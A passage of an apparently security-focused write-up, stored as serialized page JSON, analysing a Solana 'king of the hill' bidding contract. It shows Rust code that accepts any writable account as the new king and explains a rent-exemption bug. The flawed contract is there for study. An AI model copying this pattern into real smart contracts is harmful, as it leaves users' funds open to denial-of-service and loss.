en":71854},{"style":211},[71855],{"type":27,"value":6950},{"type":21,"tag":198,"props":71857,"children":71858},{"class":200,"line":365},[71859],{"type":21,"tag":198,"props":71860,"children":71861},{"emptyLinePlaceholder":16},[71862],{"type":27,"value":1283},{"type":21,"tag":198,"props":71864,"children":71865},{"class":200,"line":386},[71866],{"type":21,"tag":198,"props":71867,"children":71868},{"style":1233},[71869],{"type":27,"value":71870}," /// CHECK: any writable account is allowed as a new king.\n",{"type":21,"tag":198,"props":71872,"children":71873},{"class":200,"line":408},[71874,71878,71882],{"type":21,"tag":198,"props":71875,"children":71876},{"style":211},[71877],{"type":27,"value":23922},{"type":21,"tag":198,"props":71879,"children":71880},{"style":249},[71881],{"type":27,"value":4530},{"type":21,"tag":198,"props":71883,"children":71884},{"style":211},[71885],{"type":27,"value":21053},{"type":21,"tag":198,"props":71887,"children":71888},{"class":200,"line":429},[71889,71893,71898,71902,71906,71910,71914],{"type":21,"tag":198,"props":71890,"children":71891},{"style":249},[71892],{"type":27,"value":21636},{"type":21,"tag":198,"props":71894,"children":71895},{"style":226},[71896],{"type":27,"value":71897}," new_king",{"type":21,"tag":198,"props":71899,"children":71900},{"style":683},[71901],{"type":27,"value":185},{"type":21,"tag":198,"props":71903,"children":71904},{"style":1966},[71905],{"type":27,"value":26203},{"type":21,"tag":198,"props":71907,"children":71908},{"style":211},[71909],{"type":27,"value":23716},{"type":21,"tag":198,"props":71911,"children":71912},{"style":1966},[71913],{"type":27,"value":23721},{"type":21,"tag":198,"props":71915,"children":71916},{"style":211},[71917],{"type":27,"value":6950},{"type":21,"tag":198,"props":71919,"children":71920},{"class":200,"line":450},[71921],{"type":21,"tag":198,"props":71922,"children":71923},{"emptyLinePlaceholder":16},[71924],{"type":27,"value":1283},{"type":21,"tag":198,"props":71926,"children":71927},{"class":200,"line":468},[71928,71932,71936],{"type":21,"tag":198,"props":71929,"children":71930},{"style":211},[71931],{"type":27,"value":23922},{"type":21,"tag":198,"props":71933,"children":71934},{"style":249},[71935],{"type":27,"value":4530},{"type":21,"tag":198,"props":71937,"children":71938},{"style":211},[71939],{"type":27,"value":21053},{"type":21,"tag":198,"props":71941,"children":71942},{"class":200,"line":477},[71943,71947,71951,71955,71959,71963,71967],{"type":21,"tag":198,"props":71944,"children":71945},{"style":249},[71946],{"type":27,"value":21636},{"type":21,"tag":198,"props":71948,"children":71949},{"style":226},[71950],{"type":27,"value":42995},{"type":21,"tag":198,"props":71952,"children":71953},{"style":683},[71954],{"type":27,"value":185},{"type":21,"tag":198,"props":71956,"children":71957},{"style":1966},[71958],{"type":27,"value":23951},{"type":21,"tag":198,"props":71960,"children":71961},{"style":211},[71962],{"type":27,"value":23716},{"type":21,"tag":198,"props":71964,"children":71965},{"style":1966},[71966],{"type":27,"value":23721},{"type":21,"tag":198,"props":71968,"children":71969},{"style":211},[71970],{"type":27,"value":6950},{"type":21,"tag":198,"props":71972,"children":71973},{"class":200,"line":494},[71974],{"type":21,"tag":198,"props":71975,"children":71976},{"style":211},[71977],{"type":27,"value":1120},{"type":21,"tag":198,"props":71979,"children":71980},{"class":200,"line":515},[71981],{"type":21,"tag":198,"props":71982,"children":71983},{"emptyLinePlaceholder":16},[71984],{"type":27,"value":1283},{"type":21,"tag":198,"props":71986,"children":71987},{"class":200,"line":4484},[71988],{"type":21,"tag":198,"props":71989,"children":71990},{"style":211},[71991],{"type":27,"value":71992},"#[program]\n",{"type":21,"tag":198,"props":71994,"children":71995},{"class":200,"line":4493},[71996,72000,72005],{"type":21,"tag":198,"props":71997,"children":71998},{"style":249},[71999],{"type":27,"value":14497},{"type":21,"tag":198,"props":72001,"children":72002},{"style":249},[72003],{"type":27,"value":72004}," mod",{"type":21,"tag":198,"props":72006,"children":72007},{"style":211},[72008],{"type":27,"value":72009}," king_of_the_sol {\n",{"type":21,"tag":198,"props":72011,"children":72012},{"class":200,"line":4561},[72013,72017,72021,72026,72030,72034,72038,72042,72046,72051,72055,72060,72064,72068,72072,72076,72080],{"type":21,"tag":198,"props":72014,"children":72015},{"style":249},[72016],{"type":27,"value":21636},{"type":21,"tag":198,"props":72018,"children":72019},{"style":249},[72020],{"type":27,"value":14502},{"type":21,"tag":198,"props":72022,"children":72023},{"style":698},[72024],{"type":27,"value":72025}," change_king",{"type":21,"tag":198,"props":72027,"children":72028},{"style":211},[72029],{"type":27,"value":706},{"type":21,"tag":198,"props":72031,"children":72032},{"style":226},[72033],{"type":27,"value":21075},{"type":21,"tag":198,"props":72035,"children":72036},{"style":683},[72037],{"type":27,"value":185},{"type":21,"tag":198,"props":72039,"children":72040},{"style":1966},[72041],{"type":27,"value":21084},{"type":21,"tag":198,"props":72043,"children":72044},{"style":211},[72045],{"type":27,"value":3159},{"type":21,"tag":198,"props":72047,"children":72048},{"style":1966},[72049],{"type":27,"value":72050},"ChangeKing",{"type":21,"tag":198,"props":72052,"children":72053},{"style":211},[72054],{"type":27,"value":7442},{"type":21,"tag":198,"props":72056,"children":72057},{"style":226},[72058],{"type":27,"value":72059},"bid_amount",{"type":21,"tag":198,"props":72061,"children":72062},{"style":683},[72063],{"type":27,"value":185},{"type":21,"tag":198,"props":72065,"children":72066},{"style":1966},[72067],{"type":27,"value":6673},{"type":21,"tag":198,"props":72069,"children":72070},{"style":211},[72071],{"type":27,"value":1541},{"type":21,"tag":198,"props":72073,"children":72074},{"style":683},[72075],{"type":27,"value":14564},{"type":21,"tag":198,"props":72077,"children":72078},{"style":1966},[72079],{"type":27,"value":14569},{"type":21,"tag":198,"props":72081,"children":72082},{"style":211},[72083],{"type":27,"value":21126},{"type":21,"tag":198,"props":72085,"children":72086},{"class":200,"line":4569},[72087],{"type":21,"tag":198,"props":72088,"children":72089},{"style":1233},[72090],{"type":27,"value":72091}," // Check that bid_amount is at least 2x last_bid_amount\n",{"type":21,"tag":198,"props":72093,"children":72094},{"class":200,"line":4599},[72095,72099,72103,72107,72111,72115,72119,72123,72127,72132,72136,72141,72145,72149],{"type":21,"tag":198,"props":72096,"children":72097},{"style":698},[72098],{"type":27,"value":64826},{"type":21,"tag":198,"props":72100,"children":72101},{"style":211},[72102],{"type":27,"value":706},{"type":21,"tag":198,"props":72104,"children":72105},{"style":226},[72106],{"type":27,"value":72059},{"type":21,"tag":198,"props":72108,"children":72109},{"style":683},[72110],{"type":27,"value":9112},{"type":21,"tag":198,"props":72112,"children":72113},{"style":226},[72114],{"type":27,"value":26647},{"type":21,"tag":198,"props":72116,"children":72117},{"style":683},[72118],{"type":27,"value":658},{"type":21,"tag":198,"props":72120,"children":72121},{"style":211},[72122],{"type":27,"value":15480},{"type":21,"tag":198,"props":72124,"children":72125},{"style":683},[72126],{"type":27,"value":658},{"type":21,"tag":198,"props":72128,"children":72129},{"style":211},[72130],{"type":27,"value":72131},"throne",{"type":21,"tag":198,"props":72133,"children":72134},{"style":683},[72135],{"type":27,"value":658},{"type":21,"tag":198,"props":72137,"children":72138},{"style":211},[72139],{"type":27,"value":72140},"last_bid_amount ",{"type":21,"tag":198,"props":72142,"children":72143},{"style":683},[72144],{"type":27,"value":5383},{"type":21,"tag":198,"props":72146,"children":72147},{"style":2540},[72148],{"type":27,"value":8745},{"type":21,"tag":198,"props":72150,"children":72151},{"style":211},[72152],{"type":27,"value":1470},{"type":21,"tag":198,"props":72154,"children":72155},{"class":200,"line":4607},[72156,72161],{"type":21,"tag":198,"props":72157,"children":72158},{"style":698},[72159],{"type":27,"value":72160}," transfer_from_signer",{"type":21,"tag":198,"props":72162,"children":72163},{"style":211},[72164],{"type":27,"value":4268},{"type":21,"tag":198,"props":72166,"children":72167},{"class":200,"line":4638},[72168,72172,72176,72180,72184,72188],{"type":21,"tag":198,"props":72169,"children":72170},{"style":683},[72171],{"type":27,"value":8497},{"type":21,"tag":198,"props":72173,"children":72174},{"style":226},[72175],{"type":27,"value":21075},{"type":21,"tag":198,"props":72177,"children":72178},{"style":683},[72179],{"type":27,"value":658},{"type":21,"tag":198,"props":72181,"children":72182},{"style":211},[72183],{"type":27,"value":15480},{"type":21,"tag":198,"props":72185,"children":72186},{"style":683},[72187],{"type":27,"value":658},{"type":21,"tag":198,"props":72189,"children":72190},{"style":211},[72191],{"type":27,"value":72192},"payer,\n",{"type":21,"tag":198,"props":72194,"children":72195},{"class":200,"line":4646},[72196,72200,72204,72208,72212,72216,72220,72224,72229],{"type":21,"tag":198,"props":72197,"children":72198},{"style":683},[72199],{"type":27,"value":8497},{"type":21,"tag":198,"props":72201,"children":72202},{"style":226},[72203],{"type":27,"value":21075},{"type":21,"tag":198,"props":72205,"children":72206},{"style":683},[72207],{"type":27,"value":658},{"type":21,"tag":198,"props":72209,"children":72210},{"style":211},[72211],{"type":27,"value":15480},{"type":21,"tag":198,"props":72213,"children":72214},{"style":683},[72215],{"type":27,"value":658},{"type":21,"tag":198,"props":72217,"children":72218},{"style":211},[72219],{"type":27,"value":72131},{"type":21,"tag":198,"props":72221,"children":72222},{"style":683},[72223],{"type":27,"value":658},{"type":21,"tag":198,"props":72225,"children":72226},{"style":698},[72227],{"type":27,"value":72228},"to_account_info",{"type":21,"tag":198,"props":72230,"children":72231},{"style":211},[72232],{"type":27,"value":4296},{"type":21,"tag":198,"props":72234,"children":72235},{"class":200,"line":4706},[72236,72241],{"type":21,"tag":198,"props":72237,"children":72238},{"style":226},[72239],{"type":27,"value":72240}," bid_amount",{"type":21,"tag":198,"props":72242,"children":72243},{"style":211},[72244],{"type":27,"value":257},{"type":21,"tag":198,"props":72246,"children":72247},{"class":200,"line":9857},[72248,72253,72257],{"type":21,"tag":198,"props":72249,"children":72250},{"style":211},[72251],{"type":27,"value":72252}," )",{"type":21,"tag":198,"props":72254,"children":72255},{"style":683},[72256],{"type":27,"value":2156},{"type":21,"tag":198,"props":72258,"children":72259},{"style":211},[72260],{"type":27,"value":1483},{"type":21,"tag":198,"props":72262,"children":72263},{"class":200,"line":9875},[72264],{"type":21,"tag":198,"props":72265,"children":72266},{"emptyLinePlaceholder":16},[72267],{"type":27,"value":1283},{"type":21,"tag":198,"props":72269,"children":72270},{"class":200,"line":9920},[72271],{"type":21,"tag":198,"props":72272,"children":72273},{"style":1233},[72274],{"type":27,"value":72275}," // Reimburse 95% of the last bid to the old king\n",{"type":21,"tag":198,"props":72277,"children":72278},{"class":200,"line":10026},[72279,72283,72288,72292,72296,72300,72304,72308,72312,72316,72320,72324,72328,72333,72337,72341,72346],{"type":21,"tag":198,"props":72280,"children":72281},{"style":249},[72282],{"type":27,"value":3873},{"type":21,"tag":198,"props":72284,"children":72285},{"style":226},[72286],{"type":27,"value":72287}," to_reimburse",{"type":21,"tag":198,"props":72289,"children":72290},{"style":683},[72291],{"type":27,"value":979},{"type":21,"tag":198,"props":72293,"children":72294},{"style":211},[72295],{"type":27,"value":648},{"type":21,"tag":198,"props":72297,"children":72298},{"style":226},[72299],{"type":27,"value":21075},{"type":21,"tag":198,"props":72301,"children":72302},{"style":683},[72303],{"type":27,"value":658},{"type":21,"tag":198,"props":72305,"children":72306},{"style":211},[72307],{"type":27,"value":15480},{"type":21,"tag":198,"props":72309,"children":72310},{"style":683},[72311],{"type":27,"value":658},{"type":21,"tag":198,"props":72313,"children":72314},{"style":211},[72315],{"type":27,"value":72131},{"type":21,"tag":198,"props":72317,"children":72318},{"style":683},[72319],{"type":27,"value":658},{"type":21,"tag":198,"props":72321,"children":72322},{"style":211},[72323],{"type":27,"value":72140},{"type":21,"tag":198,"props":72325,"children":72326},{"style":683},[72327],{"type":27,"value":5383},{"type":21,"tag":198,"props":72329,"children":72330},{"style":2540},[72331],{"type":27,"value":72332}," 9500",{"type":21,"tag":198,"props":72334,"children":72335},{"style":211},[72336],{"type":27,"value":1541},{"type":21,"tag":198,"props":72338,"children":72339},{"style":683},[72340],{"type":27,"value":2232},{"type":21,"tag":198,"props":72342,"children":72343},{"style":2540},[72344],{"type":27,"value":72345}," 10000",{"type":21,"tag":198,"props":72347,"children":72348},{"style":211},[72349],{"type":27,"value":1483},{"type":21,"tag":198,"props":72351,"children":72352},{"class":200,"line":24302},[72353,72358],{"type":21,"tag":198,"props":72354,"children":72355},{"style":698},[72356],{"type":27,"value":72357}," transfer_from_pda",{"type":21,"tag":198,"props":72359,"children":72360},{"style":211},[72361],{"type":27,"value":4268},{"type":21,"tag":198,"props":72363,"children":72364},{"class":200,"line":24337},[72365,72369,72373,72377,72381,72385,72389,72393,72397],{"type":21,"tag":198,"props":72366,"children":72367},{"style":683},[72368],{"type":27,"value":8497},{"type":21,"tag":198,"props":72370,"children":72371},{"style":226},[72372],{"type":27,"value":21075},{"type":21,"tag":198,"props":72374,"children":72375},{"style":683},[72376],{"type":27,"value":658},{"type":21,"tag":198,"props":72378,"children":72379},{"style":211},[72380],{"type":27,"value":15480},{"type":21,"tag":198,"props":72382,"children":72383},{"style":683},[72384],{"type":27,"value":658},{"type":21,"tag":198,"props":72386,"children":72387},{"style":211},[72388],{"type":27,"value":72131},{"type":21,"tag":198,"props":72390,"children":72391},{"style":683},[72392],{"type":27,"value":658},{"type":21,"tag":198,"props":72394,"children":72395},{"style":698},[72396],{"type":27,"value":72228},{"type":21,"tag":198,"props":72398,"children":72399},{"style":211},[72400],{"type":27,"value":4296},{"type":21,"tag":198,"props":72402,"children":72403},{"class":200,"line":24345},[72404,72408,72412,72416,72420,72424],{"type":21,"tag":198,"props":72405,"children":72406},{"style":683},[72407],{"type":27,"value":8497},{"type":21,"tag":198,"props":72409,"children":72410},{"style":226},[72411],{"type":27,"value":21075},{"type":21,"tag":198,"props":72413,"children":72414},{"style":683},[72415],{"type":27,"value":658},{"type":21,"tag":198,"props":72417,"children":72418},{"style":211},[72419],{"type":27,"value":15480},{"type":21,"tag":198,"props":72421,"children":72422},{"style":683},[72423],{"type":27,"value":658},{"type":21,"tag":198,"props":72425,"children":72426},{"style":211},[72427],{"type":27,"value":72428},"old_king,\n",{"type":21,"tag":198,"props":72430,"children":72431},{"class":200,"line":24353},[72432,72437],{"type":21,"tag":198,"props":72433,"children":72434},{"style":226},[72435],{"type":27,"value":72436}," to_reimburse",{"type":21,"tag":198,"props":72438,"children":72439},{"style":211},[72440],{"type":27,"value":257},{"type":21,"tag":198,"props":72442,"children":72443},{"class":200,"line":24362},[72444,72448,72452],{"type":21,"tag":198,"props":72445,"children":72446},{"style":211},[72447],{"type":27,"value":72252},{"type":21,"tag":198,"props":72449,"children":72450},{"style":683},[72451],{"type":27,"value":2156},{"type":21,"tag":198,"props":72453,"children":72454},{"style":211},[72455],{"type":27,"value":1483},{"type":21,"tag":198,"props":72457,"children":72458},{"class":200,"line":24404},[72459],{"type":21,"tag":198,"props":72460,"children":72461},{"emptyLinePlaceholder":16},[72462],{"type":27,"value":1283},{"type":21,"tag":198,"props":72464,"children":72465},{"class":200,"line":24437},[72466],{"type":21,"tag":198,"props":72467,"children":72468},{"style":1233},[72469],{"type":27,"value":72470}," // Set new king\n",{"type":21,"tag":198,"props":72472,"children":72473},{"class":200,"line":24445},[72474,72478,72482,72486,72490,72494,72498,72503,72507,72511,72515,72519,72523,72528,72532,72537],{"type":21,"tag":198,"props":72475,"children":72476},{"style":226},[72477],{"type":27,"value":26990},{"type":21,"tag":198,"props":72479,"children":72480},{"style":683},[72481],{"type":27,"value":658},{"type":21,"tag":198,"props":72483,"children":72484},{"style":211},[72485],{"type":27,"value":15480},{"type":21,"tag":198,"props":72487,"children":72488},{"style":683},[72489],{"type":27,"value":658},{"type":21,"tag":198,"props":72491,"children":72492},{"style":211},[72493],{"type":27,"value":72131},{"type":21,"tag":198,"props":72495,"children":72496},{"style":683},[72497],{"type":27,"value":658},{"type":21,"tag":198,"props":72499,"children":72500},{"style":211},[72501],{"type":27,"value":72502},"king ",{"type":21,"tag":198,"props":72504,"children":72505},{"style":683},[72506],{"type":27,"value":3174},{"type":21,"tag":198,"props":72508,"children":72509},{"style":226},[72510],{"type":27,"value":26647},{"type":21,"tag":198,"props":72512,"children":72513},{"style":683},[72514],{"type":27,"value":658},{"type":21,"tag":198,"props":72516,"children":72517},{"style":211},[72518],{"type":27,"value":15480},{"type":21,"tag":198,"props":72520,"children":72521},{"style":683},[72522],{"type":27,"value":658},{"type":21,"tag":198,"props":72524,"children":72525},{"style":211},[72526],{"type":27,"value":72527},"new_king",{"type":21,"tag":198,"props":72529,"children":72530},{"style":683},[72531],{"type":27,"value":658},{"type":21,"tag":198,"props":72533,"children":72534},{"style":698},[72535],{"type":27,"value":72536},"key",{"type":21,"tag":198,"props":72538,"children":72539},{"style":211},[72540],{"type":27,"value":3404},{"type":21,"tag":198,"props":72542,"children":72543},{"class":200,"line":24453},[72544,72548,72552,72556,72560,72564,72568,72572,72576,72581],{"type":21,"tag":198,"props":72545,"children":72546},{"style":226},[72547],{"type":27,"value":26990},{"type":21,"tag":198,"props":72549,"children":72550},{"style":683},[72551],{"type":27,"value":658},{"type":21,"tag":198,"props":72553,"children":72554},{"style":211},[72555],{"type":27,"value":15480},{"type":21,"tag":198,"props":72557,"children":72558},{"style":683},[72559],{"type":27,"value":658},{"type":21,"tag":198,"props":72561,"children":72562},{"style":211},[72563],{"type":27,"value":72131},{"type":21,"tag":198,"props":72565,"children":72566},{"style":683},[72567],{"type":27,"value":658},{"type":21,"tag":198,"props":72569,"children":72570},{"style":211},[72571],{"type":27,"value":72140},{"type":21,"tag":198,"props":72573,"children":72574},{"style":683},[72575],{"type":27,"value":3174},{"type":21,"tag":198,"props":72577,"children":72578},{"style":226},[72579],{"type":27,"value":72580}," bid_amount",{"type":21,"tag":198,"props":72582,"children":72583},{"style":211},[72584],{"type":27,"value":1483},{"type":21,"tag":198,"props":72586,"children":72587},{"class":200,"line":24462},[72588,72592,72596,72600,72604,72608,72612,72617,72621,72626,72630,72634,72638,72642,72647,72651,72655],{"type":21,"tag":198,"props":72589,"children":72590},{"style":226},[72591],{"type":27,"value":26990},{"type":21,"tag":198,"props":72593,"children":72594},{"style":683},[72595],{"type":27,"value":658},{"type":21,"tag":198,"props":72597,"children":72598},{"style":211},[72599],{"type":27,"value":15480},{"type":21,"tag":198,"props":72601,"children":72602},{"style":683},[72603],{"type":27,"value":658},{"type":21,"tag":198,"props":72605,"children":72606},{"style":211},[72607],{"type":27,"value":72131},{"type":21,"tag":198,"props":72609,"children":72610},{"style":683},[72611],{"type":27,"value":658},{"type":21,"tag":198,"props":72613,"children":72614},{"style":211},[72615],{"type":27,"value":72616},"last_time ",{"type":21,"tag":198,"props":72618,"children":72619},{"style":683},[72620],{"type":27,"value":3174},{"type":21,"tag":198,"props":72622,"children":72623},{"style":1966},[72624],{"type":27,"value":72625}," Clock",{"type":21,"tag":198,"props":72627,"children":72628},{"style":683},[72629],{"type":27,"value":4286},{"type":21,"tag":198,"props":72631,"children":72632},{"style":698},[72633],{"type":27,"value":17155},{"type":21,"tag":198,"props":72635,"children":72636},{"style":211},[72637],{"type":27,"value":14686},{"type":21,"tag":198,"props":72639,"children":72640},{"style":683},[72641],{"type":27,"value":3940},{"type":21,"tag":198,"props":72643,"children":72644},{"style":211},[72645],{"type":27,"value":72646},"unix_timestamp ",{"type":21,"tag":198,"props":72648,"children":72649},{"style":249},[72650],{"type":27,"value":9652},{"type":21,"tag":198,"props":72652,"children":72653},{"style":1966},[72654],{"type":27,"value":6673},{"type":21,"tag":198,"props":72656,"children":72657},{"style":211},[72658],{"type":27,"value":1483},{"type":21,"tag":198,"props":72660,"children":72661},{"class":200,"line":24538},[72662],{"type":21,"tag":198,"props":72663,"children":72664},{"emptyLinePlaceholder":16},[72665],{"type":27,"value":1283},{"type":21,"tag":198,"props":72667,"children":72668},{"class":200,"line":24571},[72669,72673],{"type":21,"tag":198,"props":72670,"children":72671},{"style":1966},[72672],{"type":27,"value":15616},{"type":21,"tag":198,"props":72674,"children":72675},{"style":211},[72676],{"type":27,"value":15143},{"type":21,"tag":198,"props":72678,"children":72679},{"class":200,"line":24579},[72680],{"type":21,"tag":198,"props":72681,"children":72682},{"style":211},[72683],{"type":27,"value":880},{"type":21,"tag":198,"props":72685,"children":72686},{"class":200,"line":24587},[72687],{"type":21,"tag":198,"props":72688,"children":72689},{"style":211},[72690],{"type":27,"value":1120},{"type":21,"tag":30,"props":72692,"children":72693},{},[72694],{"type":27,"value":72695},"Note this comment:",{"type":21,"tag":3741,"props":72697,"children":72698},{},[72699],{"type":21,"tag":30,"props":72700,"children":72701},{},[72702],{"type":27,"value":72703},"any writable account is allowed as a new king.",{"type":21,"tag":30,"props":72705,"children":72706},{},[72707],{"type":27,"value":72708},"...Is our assumption correct?",{"type":21,"tag":22,"props":72710,"children":72712},{"id":72711},"the-bugs-lurking-beneath",[72713],{"type":27,"value":72714},"The Bugs Lurking Beneath",{"type":21,"tag":59,"props":72716,"children":72718},{"id":72717},"bug-1-the-rent-exemption-trap",[72719],{"type":27,"value":72720},"Bug 1: The Rent-Exemption Trap",{"type":21,"tag":30,"props":72722,"children":72723},{},[72724,72726,72731],{"type":27,"value":72725},"On Solana, all accounts must maintain a ",{"type":21,"tag":6137,"props":72727,"children":72728},{},[72729],{"type":27,"value":72730},"minimum balance",{"type":27,"value":72732}," of lamports to remain rent-exempt. Specifically, an account can be in one of two states:",{"type":21,"tag":138,"props":72734,"children":72735},{},[72736,72751],{"type":21,"tag":75,"props":72737,"children":72738},{},[72739,72744,72745],{"type":21,"tag":6137,"props":72740,"children":72741},{},[72742],{"type":27,"value":72743},"Uninitialized",{"type":27,"value":16136},{"type":21,"tag":194,"props":72746,"children":72748},{"className":72747},[],[72749],{"type":27,"value":72750},"lamports = 0",{"type":21,"tag":75,"props":72752,"children":72753},{},[72754,72759,72760],{"type":21,"tag":6137,"props":72755,"children":72756},{},[72757],{"type":27,"value":72758},"Initialized",{"type":27,"value":16136},{"type":21,"tag":194,"props":72761,"children":72763},{"className":72762},[],[72764],{"type":27,"value":72765},"lamports >= rent-exempt threshold",{"type":21,"tag":30,"props":72767,"children":72768},{},[72769,72771,72776],{"type":27,"value":72770},"This rent model exists to prevent low-cost DoS attacks on validators. The key idea is that even an account with no data (i.e., zero-length data buffer) still consumes on-chain resources; specifically, ",{"type":21,"tag":6137,"props":72772,"children":72773},{},[72774],{"type":27,"value":72775},"account metadata",{"type":27,"value":72777}," like its public key, owner, or lamport balance. That metadata must be stored persistently by validators, and that storage isn't free.",{"type":21,"tag":30,"props":72779,"children":72780},{},[72781,72783,72789],{"type":27,"value":72782},"So “persistent state” on Solana doesn’t just mean your program's data — it includes the base account structure itself. Even accounts with ",{"type":21,"tag":194,"props":72784,"children":72786},{"className":72785},[],[72787],{"type":27,"value":72788},"data.len() == 0",{"type":27,"value":72790}," must meet a minimum rent threshold to remain alive and avoid garbage collection by the runtime.",{"type":21,"tag":30,"props":72792,"children":72793},{},[72794,72796,72802],{"type":27,"value":72795},"This is enforced at the runtime level, and the relevant logic can be found ",{"type":21,"tag":34,"props":72797,"children":72800},{"href":72798,"rel":72799},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/svm-rent-collector/src/svm_rent_collector.rs#L117-L136",[38],[72801],{"type":27,"value":625},{"type":27,"value":658},{"type":21,"tag":187,"props":72804,"children":72806},{"className":3789,"code":72805,"language":3788,"meta":7,"style":7}," fn transition_allowed(&self, pre_rent_state: &RentState, post_rent_state: &RentState) -> bool {\n match post_rent_state {\n RentState::Uninitialized | RentState::RentExempt => true,\n RentState::RentPaying {\n data_size: post_data_size,\n lamports: post_lamports,\n } => {\n match pre_rent_state {\n RentState::Uninitialized | RentState::RentExempt => false,\n RentState::RentPaying {\n data_size: pre_data_size,\n lamports: pre_lamports,\n } => {\n // Cannot remain RentPaying if resized or credited.\n post_data_size == pre_data_size && post_lamports \u003C= pre_lamports\n }\n }\n }\n }\n }\n",[72807],{"type":21,"tag":194,"props":72808,"children":72809},{"__ignoreMap":7},[72810,72894,72911,72957,72977,72998,73019,73034,73051,73095,73114,73135,73156,73172,73180,73213,73220,73227,73234,73241],{"type":21,"tag":198,"props":72811,"children":72812},{"class":200,"line":201},[72813,72818,72823,72827,72831,72835,72839,72844,72848,72852,72857,72861,72866,72870,72874,72878,72882,72886,72890],{"type":21,"tag":198,"props":72814,"children":72815},{"style":249},[72816],{"type":27,"value":72817}," fn",{"type":21,"tag":198,"props":72819,"children":72820},{"style":698},[72821],{"type":27,"value":72822}," transition_allowed",{"type":21,"tag":198,"props":72824,"children":72825},{"style":211},[72826],{"type":27,"value":706},{"type":21,"tag":198,"props":72828,"children":72829},{"style":683},[72830],{"type":27,"value":3917},{"type":21,"tag":198,"props":72832,"children":72833},{"style":249},[72834],{"type":27,"value":14520},{"type":21,"tag":198,"props":72836,"children":72837},{"style":211},[72838],{"type":27,"value":828},{"type":21,"tag":198,"props":72840,"children":72841},{"style":226},[72842],{"type":27,"value":72843},"pre_rent_state",{"type":21,"tag":198,"props":72845,"children":72846},{"style":683},[72847],{"type":27,"value":185},{"type":21,"tag":198,"props":72849,"children":72850},{"style":683},[72851],{"type":27,"value":7953},{"type":21,"tag":198,"props":72853,"children":72854},{"style":1966},[72855],{"type":27,"value":72856},"RentState",{"type":21,"tag":198,"props":72858,"children":72859},{"style":211},[72860],{"type":27,"value":828},{"type":21,"tag":198,"props":72862,"children":72863},{"style":226},[72864],{"type":27,"value":72865},"post_rent_state",{"type":21,"tag":198,"props":72867,"children":72868},{"style":683},[72869],{"type":27,"value":185},{"type":21,"tag":198,"props":72871,"children":72872},{"style":683},[72873],{"type":27,"value":7953},{"type":21,"tag":198,"props":72875,"children":72876},{"style":1966},[72877],{"type":27,"value":72856},{"type":21,"tag":198,"props":72879,"children":72880},{"style":211},[72881],{"type":27,"value":1541},{"type":21,"tag":198,"props":72883,"children":72884},{"style":683},[72885],{"type":27,"value":14564},{"type":21,"tag":198,"props":72887,"children":72888},{"style":1966},[72889],{"type":27,"value":12860},{"type":21,"tag":198,"props":72891,"children":72892},{"style":211},[72893],{"type":27,"value":233},{"type":21,"tag":198,"props":72895,"children":72896},{"class":200,"line":217},[72897,72902,72907],{"type":21,"tag":198,"props":72898,"children":72899},{"style":640},[72900],{"type":27,"value":72901}," match",{"type":21,"tag":198,"props":72903,"children":72904},{"style":226},[72905],{"type":27,"value":72906}," post_rent_state",{"type":21,"tag":198,"props":72908,"children":72909},{"style":211},[72910],{"type":27,"value":233},{"type":21,"tag":198,"props":72912,"children":72913},{"class":200,"line":236},[72914,72919,72923,72927,72931,72936,72940,72945,72949,72953],{"type":21,"tag":198,"props":72915,"children":72916},{"style":1966},[72917],{"type":27,"value":72918}," RentState",{"type":21,"tag":198,"props":72920,"children":72921},{"style":683},[72922],{"type":27,"value":4286},{"type":21,"tag":198,"props":72924,"children":72925},{"style":1966},[72926],{"type":27,"value":72743},{"type":21,"tag":198,"props":72928,"children":72929},{"style":683},[72930],{"type":27,"value":5081},{"type":21,"tag":198,"props":72932,"children":72933},{"style":1966},[72934],{"type":27,"value":72935}," RentState",{"type":21,"tag":198,"props":72937,"children":72938},{"style":683},[72939],{"type":27,"value":4286},{"type":21,"tag":198,"props":72941,"children":72942},{"style":1966},[72943],{"type":27,"value":72944},"RentExempt",{"type":21,"tag":198,"props":72946,"children":72947},{"style":683},[72948],{"type":27,"value":838},{"type":21,"tag":198,"props":72950,"children":72951},{"style":249},[72952],{"type":27,"value":252},{"type":21,"tag":198,"props":72954,"children":72955},{"style":211},[72956],{"type":27,"value":257},{"type":21,"tag":198,"props":72958,"children":72959},{"class":200,"line":260},[72960,72964,72968,72973],{"type":21,"tag":198,"props":72961,"children":72962},{"style":1966},[72963],{"type":27,"value":72918},{"type":21,"tag":198,"props":72965,"children":72966},{"style":683},[72967],{"type":27,"value":4286},{"type":21,"tag":198,"props":72969,"children":72970},{"style":1966},[72971],{"type":27,"value":72972},"RentPaying",{"type":21,"tag":198,"props":72974,"children":72975},{"style":211},[72976],{"type":27,"value":233},{"type":21,"tag":198,"props":72978,"children":72979},{"class":200,"line":281},[72980,72985,72989,72994],{"type":21,"tag":198,"props":72981,"children":72982},{"style":226},[72983],{"type":27,"value":72984}," data_size",{"type":21,"tag":198,"props":72986,"children":72987},{"style":683},[72988],{"type":27,"value":185},{"type":21,"tag":198,"props":72990,"children":72991},{"style":226},[72992],{"type":27,"value":72993}," post_data_size",{"type":21,"tag":198,"props":72995,"children":72996},{"style":211},[72997],{"type":27,"value":257},{"type":21,"tag":198,"props":72999,"children":73000},{"class":200,"line":302},[73001,73006,73010,73015],{"type":21,"tag":198,"props":73002,"children":73003},{"style":226},[73004],{"type":27,"value":73005}," lamports",{"type":21,"tag":198,"props":73007,"children":73008},{"style":683},[73009],{"type":27,"value":185},{"type":21,"tag":198,"props":73011,"children":73012},{"style":226},[73013],{"type":27,"value":73014}," post_lamports",{"type":21,"tag":198,"props":73016,"children":73017},{"style":211},[73018],{"type":27,"value":257},{"type":21,"tag":198,"props":73020,"children":73021},{"class":200,"line":323},[73022,73026,73030],{"type":21,"tag":198,"props":73023,"children":73024},{"style":211},[73025],{"type":27,"value":70974},{"type":21,"tag":198,"props":73027,"children":73028},{"style":683},[73029],{"type":27,"value":15626},{"type":21,"tag":198,"props":73031,"children":73032},{"style":211},[73033],{"type":27,"value":233},{"type":21,"tag":198,"props":73035,"children":73036},{"class":200,"line":344},[73037,73042,73047],{"type":21,"tag":198,"props":73038,"children":73039},{"style":640},[73040],{"type":27,"value":73041}," match",{"type":21,"tag":198,"props":73043,"children":73044},{"style":226},[73045],{"type":27,"value":73046}," 